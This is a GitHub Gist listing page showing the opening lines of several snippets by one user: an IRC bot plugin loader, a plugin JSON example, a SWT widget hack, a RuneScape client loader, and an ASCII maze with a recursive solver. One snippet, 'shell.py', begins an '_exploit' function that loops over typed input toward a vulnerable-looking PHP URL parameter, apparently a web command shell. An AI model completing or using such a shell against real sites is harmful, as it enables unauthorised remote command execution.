Skip to content

Instantly share code, notes, and snippets.

@Tak31337
Tak31337 / CommandLoader.java
Created April 19, 2013 22:58
loads all plugins for use within karma :)
package com.taksmind.karma.plugin;
import java.io.File;
import java.io.FileInputStream;
import java.io.FilenameFilter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Properties;
import java.util.Scanner;
@Tak31337
Tak31337 / test.json
Created April 19, 2013 22:53
Karma IRC bot plugin example, just drop these into karma's CWD/plugins and he will load it :)
{
"name":"test",
"command":"python plugins/test.py",
"description":"test plugin",
"trigger":"~test"
}
@Tak31337
Tak31337 / shell.py
Last active December 16, 2015 00:19
python shell ;3
#!/usr/bin/env python
import sys
import urllib2
import logging
def _exploit(log):
url="http://www.someurl.com/index.php?spec="
opener = urllib2.build_opener(urllib2.HTTPHandler)
while True:
input = raw_input('>')
@Tak31337
Tak31337 / NetText.java
Created April 4, 2013 20:52
SWT subclass check override H4x ;D
package com.taksmind.subnetting;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Text;
public class NetText extends Text {
private String name;
public NetText(Composite parent, int style) {
@Tak31337
Tak31337 / RunicCoffee.java
Last active December 15, 2015 19:49
this may or may not be a Runescape client >.>
package com.taksmind.coffee;
import java.applet.Applet;
import java.applet.AppletContext;
import java.applet.AppletStub;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.Dimension;
import java.net.URL;
import java.net.URLClassLoader;
@Tak31337
Tak31337 / maze.txt
Created April 4, 2013 20:23
example maze for the maze solver
####################
##S ## ### #
## ##### ## #
## ##############
##### ###### #
##### ## #### #
##### ### ## #### E
##### ### ## #######
# ### #######
####################
@Tak31337
Tak31337 / mazesolver.py
Created April 4, 2013 20:21
Solve ascii mazes with recursive python :)
#!/usr/bin/env python3
'''
This program will first analyze the maze and fill out a two dimensional list with elements
contained within the input file, making note of the start point
The program will then explore neighboring cells from the start location starting with the right cell
by passing the location to a method which will process the cell, and mark it as explored, or maze solved.
The program will make note if there is more than one exploratory juxtaposing cell, and store the cell
location into a list ordered latest found to earliest found, then note cells explored after this into